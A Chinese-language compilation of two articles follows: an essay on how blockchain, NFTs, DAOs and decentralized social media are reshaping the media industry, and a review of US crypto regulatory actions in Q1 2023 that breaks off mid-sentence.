尽管批评人士会认为加密货币媒体有时会推动加密货币的欺诈和泡沫，但加密货币媒体机构在以下方面发挥了至关重要的作用：1）在早期阶段教育和推动区块链技术的应用；2）培训和培养具有区块链领域知识的记者，以便在传统媒体扩大加密货币报道团队时填补职位；3）警示欺诈和潜在的系统性风险。例如，CoinDesk的一篇报道披露了Alameda的储备量，实际上在2022年揭露了“最大”的加密货币欺诈和FTX的崩溃中发挥了重要作用。 除了新闻媒体，链上数据分析和市场情报提供商也开始在这个时期出现，最著名的是CoinMarketCap和Chainalysis，分别于2013年和2014年成立。这些信息提供商的存在在一定程度上提高了市场透明度，帮助记者调查新闻故事。 在这个阶段，区块链在媒体行业中的创新和应用非常有限。这主要是由于区块链技术最初是通过比特币的创建而普及，而比特币主要是作为去中心化的数字货币系统而设计。比特币的原始白皮书是由匿名创建者中本聪于2008年发布，其中描述了一种可以使用区块链来时间戳文档和数据的系统，但比特币网络主要是为支付而发明，并由中本聪于2010年将区块的最大大小设置为1兆字节（MB），以防止区块链变得过大而无法由网络上的单个节点管理（到2023年，该限制实际上已增加至每个区块约4 MB）。因此，尽管矿工可以在区块中附加一些无关的数据/消息，就像中本聪在比特币的第一个区块中所做的那样，但比特币网络上除支付外的应用几乎是不切实际。 除此之外，比特币网络只有几个可用的API（应用程序编程接口），开发者可以使用这些接口与网络进行交互，这进一步限制了可以在比特币上构建的应用程序。直到2015年以太坊推出，人们才开始探索区块链在数据存储和管理方面的全部潜力。 2015年，Vitalik Buterin创立的以太坊是区块链技术发展中的一个重要里程碑。通过以太坊，Buterin引入了一种新的区块链架构，使得去中心化应用（dApps）可以超越数字货币的范畴进行创建。以太坊区块链配备了一种名为Solidity的编程语言，使开发者能够创建智能合约 - 自动执行并强制实施协议条款的数字协议。 以太坊区块链上智能合约的创新激发了许多媒体行业的创新。区块链技术在媒体行业中最重要的应用之一是内容管理和分发。借助智能合约，内容创作者可以通过分配许可证并设定使用其内容的条款和条件来保护其知识产权。智能合约还使得内容创作者能够直接从消费者那里获得报酬，无需依赖出版商或发行商等中介。这为内容创作者创造了新的机会来变现其作品并获得公平的收入份额。 例如，成立于2016年的Steemit是一个利用区块链技术的博客和社交媒体平台。该平台基于Steem区块链构建，使用户可以通过创建和策划内容获得STEEM代币形式的加密货币。用户的奖励根据其内容的受欢迎程度和质量以及来自Steemit社区的投票和评论来确定。当Steemit试图开发一个基于区块链驱动、代币形式的Twitter版本时，出现了许多其他项目，旨在创建类似的去中心化视频共享平台，以颠覆传统的视频共享巨头如YouTube。一些值得关注的例子包括StreamSpace（成立于2017年）、Flixxo（成立于2016年）、Viuly（成立于2017年）和Viewly（成立于2017年，但已不再活跃）。 此外，区块链技术在媒体行业的应用已经超越了内容创作和分发。它还推动了新商业模式的发展，如去中心化广告网络，奖励用户的注意力和数据。例如，引入于2016年的Basic Attention Token（BAT）是一个基于区块链的广告平台，旨在通过提供更注重隐私和以用户为中心的模式来颠覆传统的数字广告行业。该平台使广告商能够直接针对用户，通过使用BAT代币奖励用户的关注。 此外，区块链技术还被用来解决与假新闻和错误信息相关的问题。其中一个名为Civil的平台于2018年推出，利用区块链技术创建了一个去中心化的新闻编辑室，允许记者直接发布和变现他们的作品，同时通过其社区驱动的验证过程提供透明度和问责制。 在这个阶段，许多区块链和加密领域的项目都是通过首次代币发行（ICO）而非传统的风险资本融资而崛起的。虽然这样可以在市场炒作期间快速轻松地筹集资金并获得关注，但当加密市场在2018年遭遇崩盘时，这些项目在财务上也变得脆弱。还需要注意的是，尽管这些项目中的许多都被宣传为“去中心化”，但其中一些仍依赖于中心化服务器，利用代币经济学并纯粹将代币用作激励，这种缺乏真正的去中心化，在行业内受到了很多批评。 2017年至2018年的加密炒作期间，还出现了一些其他创新理念，旨在推动各行业，包括媒体和娱乐领域，更广泛地采用区块链技术。其中最突出的创新例子之一是非同质化代币（NFT）。NFT具有独特的属性，如可验证的真实性、独特的所有权以及新的收入来源潜力，使它们成为创作者和收藏家都觉得有吸引力的工具。尽管NFT最早在2017年的CryptoKitties和CryptoPunks等早期项目中首次亮相，但直到2021年，它们才获得了广泛关注，并在媒体行业及其他领域掀起了创新浪潮。 自成立以来，区块链一直是传统媒体报道的小众话题，直到2021年发生了戏剧性的事情。世界各地的成熟媒体公司参与了所谓的NFT热潮，将各种内容--从著作到视频--作为区块链上的NFT出售。老牌媒体公司对NFT的这种采用代表了该行业的一个重大转变，并表明了对区块链技术的兴趣和潜力不断增加。 传统媒体参与NFT受到了一些争议，包括比尔-盖茨在内的一些批评者声称，加密货币和NFTs完全基于 "大傻瓜理论"。然而，NFT的采用为传统媒体公司带来了新的收入，《时代》杂志通过其旗舰产品TimePieces NFT系列，在短短14个月内从NFT销售中获得了超过1000万美元的利润，这些利润在二级市场上仍在增长。 TIME NFT NFTs不仅为内容创作者提供了一种新的盈利方式，也为他们提供了与粉丝互动的独特机会。因此，越来越多的去中心化平台已经出现，以更好地利用这项新技术，Mirror.xyz是最引人注目的例子之一。Mirror.xyz成立于2020年，通常被称为加密版的Medium，是一个去中心化的出版平台，使任何人都可以创建、分享和出售他们独特的数字内容，作为NFTs。它允许创作者对他们的内容有更多的控制权，并有能力以新的和创新的方式将其货币化。 随着NFTs的日益普及，我们也看到了与媒体相关的DAO（去中心化自治组织）的崛起。这些DAO利用区块链技术的力量，为媒体公司及其社区创造去中心化的生态系统，重点是透明度、社区参与和共享所有权。通过拥抱DAO，媒体公司可以为他们的受众提供一种新的参与方式，同时建立更可持续的商业模式，使所有利益相关者受益。 例如，Mad Realities是一个DAO式的初创公司，得到了Paradigm和一些名人的支持，包括Paris Hilton。该公司是一个去中心化的工作室，制作真人秀节目，资金来自于NFT的销售。而这些NFT的所有者对制作有各种治理权，允许他们参与传统上只有业内人士才能参与的决策过程。这种对区块链技术和NFT的创新使用代表了媒体行业的重大转变，因为越来越多的公司希望拥抱去中心化的生态系统，并为他们的观众提供更直接的参与机会。 除了Mad Realities之外，还出现了一些其他与媒体相关的DAO，如Friends with Benefits（FWB，成立于2020年）、Bankless DAO（成立于2021年）、Pub DAO（成立于2021年）和Headline DAO（成立于2023年）。FWB是一个基于代币的会员制系统，会员可以直接支持并从他们喜欢的创作者的成功中受益。Bankless DAO是一个社区驱动的去中心化媒体组织，成员贡献技能和专业知识来创建关于区块链和加密货币的教育内容，并参与组织的决策过程和治理。而Pub DAO则是一个专注于支持独立记者和内容创作者的去中心化媒体平台。该平台使用区块链技术实现文章和内容的小额支付，使创作者能够在不依赖广告收入或中介的情况下直接获得报酬。相反，Headline DAO是一个使用NFT销售资助独立新闻的去中心化新闻“实验”，NFT持有者将有权投票决定资助哪位记者。 除了NFT和DAO的兴起，2021年还见证了去中心化社交媒体/平台需求的增长，当时唐纳德·特朗普被主要社交媒体平台封禁，这引发了关于言论自由和内容审查的热议。此外，人们越来越意识到数据隐私和所有权问题，以及科技巨头对内容的日益控制。这导致人们对去中心化替代品的兴趣激增，用户在这些平台上对自己的数据和内容拥有更多的控制权。当推特在2022年被埃隆·马斯克收购时，这种需求继续增长。 去中心化社交媒体利用区块链技术创建去中心化网络，作为传统社交媒体平台的替代方案，这些网络不受任何单一实体的控制。与2017/2018年加密狂潮期间许多声称是“去中心化社交媒体”的项目不同，新项目更注重使用联合网络构建真正的去中心化网络。联合网络使用一种名为ActivityPub的协议，允许用户与同一网络上的其他用户进行通信和共享内容，而不考虑他们使用的特定平台。 在联合网络中，用户可以与同一网络上的其他用户进行通信和共享内容，即使他们使用的是不同的服务器或节点。这得益于一种名为ActivityPub的协议，许多联合社交网络使用它来让用户无论使用的是哪个特定平台都能相互连接。像Lens协议、Nostr和Farcaster这样的协议都旨在提供这样的工具来帮助构建去中心化的社交媒体应用。而Mastodon和Damus则是面向普通用户的两个值得关注的应用示例。 第二部分：去中心化媒体面临的挑战 NFT、DAO和去中心化社交媒体平台的崛起展示了区块链技术重塑媒体格局的潜力，为创作者和社区提供了新的方法来盈利和分发他们的内容，并促进了更加民主和透明的媒体生态系统。然而，这些创新仍然面临着重大挑战： 媒体行业运行在一个注意力经济体系中，成功取决于吸引大量观众的关注。然而，根据世界银行的数据，截至2023年，虽然全球64.4%的人口可以使用互联网，但加密货币的全球普及率仅约为4.2%，相当于20世纪90年代末互联网的普及率。 直到2020年，受到Covid-19的影响，数字媒体的采纳率在美国才首次超过传统媒体。因此，媒体行业的杀手级Web3应用还有很长的路要走，特别是考虑到只有8%的美国人对加密货币持积极看法。 通过大众媒体进行公共教育是推广新技术的有力途径，但老牌媒体品牌在拥抱区块链和Web3的一般概念时面临着一个困境。虽然他们欢迎创新，但他们也试图与与区块链紧密相关的加密货币领域的任何潜在诈骗或泡沫保持距离，以维护公众信任。这在很大程度上解释了为什么大多数知名媒体品牌选择将他们在2021年的“实验性” NFT销售捐赠给各种基金会。 去中心化社交媒体平台仍处于早期阶段，尚不清楚它们是否能够获得广泛采用并与主导的中心化平台竞争。一个可能影响它们增长的重要因素是区块链网络的整体基础设施发展，因为去中心化社交媒体平台依赖于区块链技术的速度和可扩展性。在这些挑战得到解决之前，去中心化社交媒体可能很难获得与传统社交媒体平台竞争所需的关注和采用。 基础设施需要时间来建设。构建区块链对于创新者来说已不再是一个重大障碍，但是如果没有在其上构建的活跃应用，新区块链可能很难获得关注并生存下来。因此，尽管以太坊存在可扩展性问题，但大多数创新者仍选择在现有且活跃的区块链如以太坊上构建。以太坊拥堵可能会显著降低网络交易和DApp交互的用户体验。在高度拥堵的时候，交易费用可能会飙升，使得一些用户难以负担参与网络的费用，甚至变得不切实际。在极端情况下，网络拥堵甚至可能导致暂时性的关停或其他中断。 由于这些基础设施的局限性，大多数去中心化应用在用户体验方面很难与其中心化的竞争对手相媲美，这使得它们难以竞争。以Damus为例，这是一个由推特联合创始人杰克·多尔西支持的去中心化社交网络。目前，用户在应用上发布图片之前必须先将图片上传到第三方服务器，而且该平台还无法上传视频。 加密市场的高度波动性对媒体行业的创新带来了重大挑战，经常出现的繁荣与萧条周期使公司难以管理员工和维持财务稳定。在市场低迷时期，加密媒体面临的挑战更加严重，因为维持业务变得更加困难。 此外，市场低迷时期，去中心化社交媒体初创公司往往难以保持市场关注度，因为那些在繁荣时期加入炒作但不真正相信去中心化未来的人很快就会放弃市场。这种市场波动性也给初创企业的财务健康和可持续性带来了重大障碍，不幸的是，这导致了一些有前途的项目的关闭或出售。例如，Civil在2020年关闭，Po.et是一个2016年创立的基于区块链的管理数字内容权利和所有权的平台，同年也关闭了，Steemit在2020年被出售，而TrusStory是一个基于区块链的用于核实和验证在线内容的平台，也在2020年因资金困难而关闭，尽管它曾获得区块链社区知名人士的初始投资。 4. 补丁式解决方案和新问题的产生 去中心化应用（dApps）是解决许多问题的有前景的解决方案，但它们也带来了新的挑战和风险，需要仔细考虑。 例如，去中心化社交媒体平台提供了一种解决中心化平台在数据隐私、审查和内容审核方面不足的方法。通过使用区块链技术，这些平台可以赋予用户对其数据和内容的控制权。然而，它们也带来了新的挑战，如删除非法内容的困难以及传播错误信息和仇恨言论的可能性。例如，尽管Damus以“言论自由”为傲，但该平台上的大部分现有内容都是低质量的广告和色情内容。 此外，在努力创建反审查网络的过程中，去中心化社交媒体平台可能无意中导致用户群体分裂，因为观点不一致的用户群体会转移到不同的平台。这可能导致创建“回音室”，在这些回音室里，个人只接触到那些强化他们现有信仰的观点，而不是参与富有成效的对话和思想交流，这对于治愈这个已经分裂的社会并不是一件好事。 以DAO（去中心化自治组织）为另一个例子，它们提供了生产和分发媒体内容的替代方式，然而在涉及到严肃新闻时，可能会出现一些不足，因为这个特定领域，往往普通大众缺乏专业知识，而去中心化的决策可能很容易导致内容质量降低和缺乏问责制。DAO中投票的另一个担忧是潜在的贿选行为，拥有大量资金的个人或团体可以利用他们的资源影响投票结果。在投票权与成员持有资金数量挂钩的DAO中，这一问题尤为突出。 尽管媒体行业在采用区块链技术方面面临挑战，但仍然存在许多创新和发展的机会。这些机会可以分为三个主要领域： 包括路透社、彭博社和CNBC在内的一些新闻提供商已经扩大了他们的加密报道团队，并提供更多关于区块链和加密货币的教育内容。尽管面临批评，越来越多的传统媒体品牌在加密货币市场低迷时期也在采用NFT作为盈利和用户参与工具。 Web3的采用在媒体行业也越来越普遍。据报道，泰晤士报正在加倍推进其Web3战略，而福布斯和NBC环球公司在2022年底根据LinkedIn上的公开信息正在寻找负责Web3的副总裁。 2023年已经见证了更多的媒体公司采用NFT。2月，GQ推出了其有史以来的第一个NFT收藏品，福克斯娱乐的《蒙面歌手》推出了一个基于代币的粉丝体验。据CoinDesk报道，福克斯还计划在今年推出以NFT驱动的电视剧《Krapopolis》，这部剧将涉及到《瑞克和莫蒂》的创作者Dan Harmon。 游戏是除大众媒体之外的另一个推动技术采用的重要渠道，随着区块链基础设施的发展，内置NFT和经济体系的本地链上游戏吸引了越来越多公众的关注。GameFi的发展有可能对区块链在媒体行业的大规模采用产生重大影响。随着对区块链和DeFi应用的兴趣日益增长，GameFi为吸引受众并推动采用提供了一种新方法，特别是在更有可能成为游戏玩家和擅长技术的年轻一代中。 零知识证明（ZKP，或简称ZK）是最有前景的领域之一，最大的风投公司对此大举投资，过去几个月里，一些ZK创业公司各自筹集了数千万美元。 零知识证明是一种加密技术，它使一方可以向另一个方证明某个陈述是真实的，而无需透露除了陈述本身的真实性之外的任何其他信息。零知识证明有广泛的潜在应用，特别是在区块链和网络安全领域。例如，在区块链中，零知识证明可用于证明交易的有效性或数字资产的真实性，而无需透露有关参与方的任何敏感信息。这可以在维护用户隐私和安全的同时，提高区块链网络的速度和效率，很大程度上解决了以太坊和其他区块链网络拥堵带来的挑战，这反过来将使包括媒体行业Web3创新在内的所有去中心化应用受益。 除了提供可扩展性和隐私保护之外，零知识证明还有可能直接应用于媒体行业，特别是在打击虚假信息方面。斯坦福大学的一个研究团队已经证明了零知识证明在媒体行业的可行性，特别是在使用基于区块链的零知识技术验证数字图像和视频的真实性方面。研究团队成员Trisha Datta和Dan Boneh在Medium上发表了一篇博客，解释了如何使用零知识证明来打击虚假信息。通过利用区块链和零知识技术的力量，可以在不透露底层数据的情况下对数字图像和视频进行认证，这有助于防止Deepfake和其他形式的操纵媒体传播虚假信息。 零知识证明提供了一种在不透露数据本身的情况下验证数据的方法，使其成为打击虚假信息的强大工具。通过使用零知识证明验证数字媒体的真实性，媒体公司可以为用户提供更安全、更值得信赖的平台，以消费和互动内容。此外，零知识证明还可以用于保护用户隐私，防止跟踪和收集个人数据。通过保护用户数据的隐私，媒体公司可以为用户创建更安全、更值得信赖的平台，从而提高用户信心和参与度。 总的来说，ZKP在媒体行业有着巨大的潜力，尤其是在打击虚假信息和保护用户隐私方面。随着ZKP技术和应用的不断发展，媒体公司如何采用和利用ZKP为用户创造更安全、更可信的平台，将是一个有趣的问题。 随着Web3的兴起和媒体格局的去中心化，构建去中心化内容策划系统的重要性变得越来越明显。虽然主要的Web2社交媒体平台让个人有能力创作内容，但它们使用的由暗箱算法驱动的集中式策划系统在透明度和民主参与方面存在局限性。 要建立一个去中心化的内容策划系统，需要解决各种技术和治理挑战。主要的技术挑战之一是确保可扩展性以容纳大量用户和内容，同时保持高安全和透明度标准。还必须解决与决策和问责相关的治理挑战。 尽管存在这些挑战，去中心化内容策划系统具有极大的潜力，对媒体行业产生重大影响，特别是在内容发现和分发方面。通过实现更民主、更透明的内容策划系统，这些系统可以帮助促进一个更多样化、更公平的媒体格局，让所有声音都有机会被听到。 大部分现有的与媒体相关的DAO自然地扮演着去中心化子策划系统的角色，而一些更新的DAO专门为了解决这些问题而创建，以2023年成立的KurateDAO为例。KurateDAO特别寻求利用“加密经济游戏来策划全球信息”，展示了去中心化内容策划系统在媒体行业产生影响的潜力。在未来几年里，我们将期待在这个领域涌现出更多创新的想法。 总结 总之，区块链技术为Web3中的媒体行业提供了巨大的机遇。去中心化、不可变性和安全性是区块链技术的主要优势，可以解决媒体行业长期存在的问题，例如信息误导、缺乏透明度和审查制度。然而，实现全面采用的道路很长，媒体行业将面临各种挑战，包括监管障碍和技术困难。 要充分实现区块链在媒体行业的潜力，关键是专注于解决实际问题并具有财务可持续性的实际解决方案。只有这样，媒体行业才能向更去中心化和可持续的未来迈进，在这个行业中，信任和透明度处于领先地位。  ( 2 min )
    2023 Q1 美国虚拟资产行业重点政策、事件梳理
    截至目前，美国针对 Web3 虚拟资产行业尚未形成统一的监管框架，呈现“多头监管”的态势，主要在联邦和州这两个层面进行监管，并由以美国证券交易委员会（SEC）为代表的金融监管机构，通过“Regulation by Enforcement”的形式对市场进行规范。因为美国是判例法国家，判例法是美国最主要的法律渊源，所以除了需要关注国会、监管部门颁布的相关虚拟资产法律法规外，还需要特别关注法院的相关司法判例，以及监管部门的行政执法。 （from lawstrust.com） 2023 Q1 美国虚拟资产行业重点政策、事件梳理如下： 2023 年 1 月 4 日，Coinbase 同意向纽约金融服务部门（NYDFS）支付 5000 万美元的罚款，以了结早前 18/19 年允许用户在未进行充分背景调查的情况下开设账户的指控。[1] Coinbase 涉嫌违反纽约州金融服务有关虚拟货币、汇款人、交易监控和网络安全等领域的法律法规。这些问题使 Coinbase 平台容易受到严重犯罪行为的影响，包括但不限于欺诈、洗钱，以及潜在的毒品走私等。 NYDFS 还要求 Coinbase 投资 5000 万美元以加强其合规计划。[2] Coinbase 的首席法务官 Paul Grewal 表示：“Coinbase 和 NYDFS 已达成协议。Coinbase 已采取实质性措施解决这些历史缺陷，并继续致力于成为虚拟资产行业的领导者和榜样，包括在合规方面与监管机构合作。” 2023 年 1 月 12 日，SEC 发布公告，宣布起诉虚拟资产借贷平台 Genesis 及虚拟资产交易所 Gemini，指控这两家公司通过 Gemini Earn 借贷产品，向散户投资者发行和出售未注册证券。[3] 根据起诉书，2020 年 12 月，DCG 集团子公司 Genesis 与 Gemini 达成合作，为 Gemini 的客户（包括美国散户投资者）提供 Genesis 的虚拟资产借贷服务。从 2021 年 2 月开始，双方开始向散户投资者提供 Gemini Earn 产品，即通过投资者出借虚拟资产给 Genesis 以换取承诺的高利息，Gemini 作为代理促进交易而获得佣金。此外起诉书称，Genesis 在随后行使其自由裁量权，决定如何使用投资者的虚拟资产来产生收入，并且自行决定向 Gemini Earn 投资者支付利息。 2022 年 11 月，Genesis 因陷入流动性危机，暂停了 Gemini Earn 的投资者的取款，这里涉及 9 亿美元的虚拟资产和 34 万 Gemini Earn 散户投资者。此后，Gemini 联合创始人 Cameron Winklevoss 在 2023 年 1 月 10 日发布致 Genesis 母公司 DCG 董事会的公开信 [4]，指控 DCG 在欠款事件中对公众、个人做出虚假陈述，让 Gemini Earn 投资者认为 DCG 对 Genesis 注入了 12 亿美元，并在借贷账目上涉嫌造假欺诈，要求 DCG 董事会罢免 DCG 董事长 Barry Silbert。Barry Silbert 随后则否认相关指控。 SEC 则认为，Genesis 和 Gemini 是合作伙伴，双方的合作产品，构成了未注册证券发行和出售。除了 Genesis 是发行人这一事实之外，两家公司都有责任，故寻求这两家公司承担民事责任。SEC 执法部主任 Gurbir S. Grewal 表示：“最近虚拟资产借贷机构的崩溃和 Genesis 提款的暂停凸显了相关主体如向散户投资者提供证券，必须遵守美国《证券法》的迫切需求。正如我们一次又一次看到的那样，如果不这样做，投资者将无法获得做出明智投资决策所需的基本信息。” 2023 年 1 月 13 日，Tyler Winklevoss 通过推特发布声明称，对 SEC 的行动感到失望，指 Gemini 和其他债权人正共同努力追回资金，但 SEC 的行为不但对他们这些债权人的努力毫无帮助，也无法帮助 Gemini Earn 投资者取回他们的资产。Tyler Winklevoss 还指出，Gemini Earn 受 NYDFS 监管，Gemini 先前也已与 SEC 就 Gemini Earn 进行了超过 17 个月的讨论，在去年 11 月 16 日 Genesis 暂停提款之后，SEC 从未提出任何采取执法行动的可能性。 （from Will Genesis Go Bankrupt? A Review of the Genesis/DCG Incident） 3.SEC 审查部门将新兴技术及虚拟资产列为 2023 年优先工作任务 在 FTX 以及众多虚拟资产平台崩溃之后，美国 SEC 因未能及时对这一动荡的行业进行监管而受到市场和国会议员的批评。2023 年 2 月 7 日，SEC 的审查部门（Division of Examinations）宣布了其 2023 年的 6 项优先工作任务，其中就包括“新兴技术及虚拟资产”（Emerging Technologies and Crypto-Assets）。[5] 该部门每年会发布其审查重点，以帮助大家深入了解其基于风险的评估方法，内容包括其认为对投资者和美国资本市场构成潜在风险的领域。 在发布了优先工作任务之后，SEC 就马不停蹄地拉开了对虚拟资产行业，更加严厉、更加强硬的新一轮“Regulation by Enforcement”式监管。首当其冲的是 Kraken，以及其 ETH 质押生息产品。 2023 年 2 月 9 日，SEC 发布公告，宣布总部位于旧金山的虚拟资产交易所 Kraken 已同意向 SEC 支付 3000 万美元，并停止为美国客户提供其质押生息产品（Staking as a Service），以了结 SEC 对其发售未注册证券的指控。[6] SEC 表示“当投资者向这类质押服务提供资产时，他们会失去对这些资产的控制权，并承担与这些平台相关的风险，几乎没有保护。”在拿到了投资者的资产 KEY 之后，Kraken 将控制投资者的资产，用于任何目的（缺乏披露信息，投资者不得而知），最后承诺投资者得到高额回报。 SEC 主席 Gary Gensler 还亲自出镜通过一个视频解释了，为什么 Kraken 这类质押生息产品需要遵守美国《证券法》：“当一个公司或平台为你提供这些类型产品并承诺回报时，无论他们称自己的服务是 Lending，Earn Rewards，APY 或 Staking，这种提供投资合同换取投资者资金的行为，都应该受到联邦《证券法》的保护……这次的执法行为应该向市场明确表明，提供质押生息产品的服务商必须注册，并提供全面、公平和真实的信息披露和投资者保护。” 对于 Kraken 的质押生息产品可能认定为“证券”对市场造成了极大的恐慌，其实 Kraken 的质押生息产品和以太坊或者 ETH 质押（Solo Staking）存在比较大的区别。从公告中大致能看出 SEC 认定 Kraken 的质押生息产品为“证券”的逻辑。首先 Kraken 收到了投资者的资金（完全控制）；其次资金混同于资金池，被 Kraken 用于共同的事业（具体做什么不得而知）；再次 Kraken 确实承诺了最高 21% 的收益回报（以太坊基金会官网上 ETH Staking 的回报在 3%—5% 左右）；最后投资者仅参与投资，通过 Kraken 的努力来实现回报。这就满足了 Howey 测试的全部条件，构成“投资合同”，是证券交易。 （from kraken.com） 5.纽约金融监管机构要求 Paxos 停止筹造其稳定币 BUSD 2023 年 2 月 13 日，Binance CZ 发表声明：纽约州金融服务部门(NYDFS)指示稳定币发行商 Paxos 停止铸造新的 BUSD（BUSD 是由 Paxos 全资拥有和管理的稳定币）。同时，Paxos 确认已收到 SEC 关于与其 BUSD 产品相关的潜在指控的通知。 Paxos 是一家注册在纽约州的稳定币发行商，其持有纽约州 Bitlicense 虚拟资产运营牌照，直接受 NYDFS 的监管，其 BUSD 产品建立在以太坊区块链上，并由根据 NYDFS 于 2022 年 6 月发布的《美元稳定币发行指引》 [7] 要求，按照 1：1 美元资产进行足额储备。NYDFS 有权以未完成用户定期风险评估和尽职调查承诺，以防止不良行为的产生（如洗钱）等合规事项为由，要求 Paxos 停止发行 BUSD 或者直接停止 Paxos 的 Bitlicense 牌照。NYDFS 称：这项监管举措是为了明晰 Paxos 与 Binance 之间尚未解决的复杂问题。 Paxos 通过官网回复了 NYDFS 的监管举措，表示自 2 月 21 日起，Paxos 将根据 NYDFS 的指示并与其密切合作，停止发行新的 BUSD 代币，并将终止与 Binance 关于 BUSD 的合作关系，后续将推出 Pax Dollar (USDP) 以取代之前的 BUSD。[8] 就此事件，CNBC 在报道中称：Paxos 的 BUSD 产品应与 Binance 自行发行的 Binance-Peg BUSD 区分开来。Binance 自行发行的 BUSD 不受 NYDFS 监管，其在以太坊之外的其他链独立包装后上架交易所。换句话说，Binance 可以冻结 Paxos 发行的 BUSD，并在另一条链（如 BSC 链）上重新创设一个类似的 BUSD，即 Binance-Peg BUSD。[9] NYDFS 表示：“该部门尚未在任何区块链上授权 Binance-Peg BUSD，并且 Binance-Peg BUSD 不是由 Paxos 发行的。” 2023 年 2 月 13 日，Paxos 发布公告表示其于 2 月 3 日收到了 SEC 的威尔斯通知（Wells Notice），该通知称：“SEC 将考虑采取将 BUSD 认定为证券，并指控 Paxos 未能将其发行的 BUSD 稳定币根据美国《证券法》向 SEC 注册。”SEC 的威尔斯通知是一个正式的通知，该通知告诉接收方，监管机构计划对其采取相关执法行动，接收方有机会向 SEC 递交书面不起诉意见的陈述。Paxos 对此表示 ：“Paxos 不同意 SEC 工作人员的观点，Paxos 始终将客户资产的安全放在首位，Paxos 发行的 BUSD 始终以美元计价的足额储备 1:1 支持，且完全隔离并保存在远程账户中，并准备在必要时提起诉讼。”[10] 关于 SEC 监管举措的原因有很多猜测，一种观点认为，结合此前 Kraken 质押生息产品遭到 SEC 处罚，可能与其底层生息资产有关。稳定币可能被视为货币市场共同基金（Money Market Mutual Funds，MMMFs），尽管其并没有利润的预期。MMMF 是由公司提供的证券，它会投资在商业票券、存款证明、国债等资产，受 SEC 监管，而 Circle 也有类似产品，因此也可能受到类似的监管。 随后 NYDFS 在与 Bloomberg 的报道 [11] 中说明了更多的问题。NYDFS 要求停止发行 BUSD 的原因似乎与稳定币的证券认定无关，真正的原因可能与 Circle 投诉 Binance-Peg BUSD 的储备管理不善有关。 （from cryptotimes.io） 6.SEC 的虚拟资产托管新规（提案） 2023 年 2 月 15 日，SEC 发布一份关于投资顾问合格托管人的拟定提案 [12]，进一步提高了针对虚拟资产的托管要求，并将要求扩大到了基金等投资顾问，要求它们必须使用合格托管人（Qualified Custodians）持有相关虚拟资产。这一提案旨在提高投资顾问不当使用、滥用用户资产的门槛，同时可能进一步挤压中小虚拟资产平台的生存空间。 SEC 主席 Gary Gensler 特别强调，当前沿用的法规（2009 年的法规）能够涵盖了大量的虚拟资产并使其受到监管。虽然一些虚拟资产交易和借贷平台声称能够托管投资者的虚拟资产，但这并不意味着它们是合格的托管人，部分平台并没有做到适当隔离投资者的虚拟资产，反而混同了投资者的资产，导致在出现“银行挤兑”等类似情况时，投资者的资产变成了失败公司的资产，严重侵犯了投资者的利益。通过这一扩大的投资顾问合格托管人法规，投资人与投资顾问都将获得应有的保护。[13] 可以看出在 FTX 崩塌之后，SEC 对于虚拟资产平台的托管业务提出了更高的要求。SEC 的提案将会鼓励投资者将其虚拟资产托管给持有托管牌照的机构或主流银行。同时，这将使银行金融监管机构有能力审查虚拟资产活动。 实践中我们看到有托管业务的主体都至少在州层面取得了相关的信托牌照（Trust Charter），并接受州金融监管机构的监管。而 Anchorage Digital Bank 则更进一步从联邦层面获得了主管美国银行机构的美国货币监理署（Office of the Comptroller of the Currency, OCC）的批准，成为一家真正意义上的联邦特许虚拟资产银行。[14] 2023 年 2 月 16 日，SEC 发布公告，宣布对 TerraUSD 稳定币背后的新加坡公司 Terraform Labs 及其首席执行官 Do Kwon 提起民事诉讼，指控称其未能按要求向公众披露该虚拟资产证券相关信息，并在崩盘前通过虚假描述误导投资者。[15] Do Kwon 的行为可能构成虚拟资产证券进行欺诈，违反了美国《证券法》、《证券交易法》关于发行和出售未注册证券、反欺诈等法律法规。值得注意的是，SEC 明确在文件中指控 Luna 与 UST 是未经注册的证券。 SEC 控诉称，Terraform 和 Do Kwon 向寻求获利的投资者推销虚拟资产证券，并一再声称这些代币会增值。例如，他们将 UST 吹捧为一种“有收益”的稳定币，并宣传其通过锚定协议支付高达 20% 的利息。SEC 还控诉称，在营销 LUNA 代币时，Terraform 和 Kwon 一再误导和欺骗投资者，让他们相信一款流行的韩国移动支付应用程序使用 Terra 区块链来结算交易，从而为 LUNA 增值。同时，据称 Terraform 和 Kwon 还误导了投资者关于 UST 稳定性的信息。2022 年 5 月，UST 与美元脱钩，其及其姊妹代币价格暴跌至接近于零。 据悉，Do Kwon 于2023 年 3 月 23 日在黑山被捕。黑山内政部长 FilipAdzic 通过推特表示：警方拘留了一名疑似通缉犯之一的韩国公民 Kwon，因伪造证件在波德戈里察机场被拘留，当时他正试图利用假证件飞往迪拜。在身份被确认后，美国、韩国先后提出了对 Do Kwon 的引渡要求。 （from Staff at crypto operator Terraform Labs hit with flight ban） 8.犹他州 DAO 法案 2023 年 3 月 1 日，美国犹他州立法机构通过了 H.B. 357《去中心化自治组织修正案》法案（Utah Decentralized Autonomous Organizations Act）[16]，这标志着 DAO 作为一种组织形式在美国继怀俄明州 DAO 法案以后又一次获得了独立的法律地位。该法案将于 2024 年生效 1 月 1 日生效。 Utah DAO 法案赋予了 DAO 一种独立的、新型的法律认可组织形式。在法律性质上，DAO 拥有独立和区别于其他成员的法人资格，能够以自身 DAO 的名义起诉和应诉，并拥有开展任何合法事务的权利。在这点上 Utah DAO 法案区别于怀俄明州仅将 DAO 纳入有限责任公司（Limited Liability Company，LLC）的监管框架，而是将 DAO LLD 单独创设出一个新的法人实体，与 LLC 有明确的区分。 在责任限制上，适用有限责任制度。以 DAO 的全部资产为责任上限，对外承担有限责任；在 DAO 的资产耗尽后，DAO 成员不承担责任；不以 DAO 成员的身份对其他 DAO 成员的错误或过失承担个人责任，仅以 DAO 成员向 DAO 承诺的链上贡献承担责任。在这点上解决了之前美国商品交易委员会（CFTC）在法庭上要求 Ooki DAO 成员以个人资产对外承担 DAO 的无限连带责任问题。 Utah DAO 法案还对 DAO 的税收制度（默认按照合伙形式，可变更为公司形式）、法定代表人（便于处理链上无法完成的事务，不承担连带责任）、DAO 成员与治理（token 的持有人的认定）等方面进行了创新的规定，旨在对链上 DAO 和链下法律实体之间进行有机融合。 2023 年 3 月 1 日，Silvergate Bank 发布公告称其无法按时向 SEC 提交年度 10-K 报告，并且表示它可能会面临“资本不足”的困境。[17] 随后，包括 Coinbase、Circle、Tether，以及 Galaxy Digital 在内的多家合作伙伴纷纷与之撇清关系，导致 Silvergate Bank 的股价暴跌。 Silvergate Bank 是一家位于加州的社区零售银行，将自身定位为通往虚拟资产行业的门户，接受虚拟资产交易所和机构的存款，并建立了自己的虚拟货币结算支付网络——“Silvergate 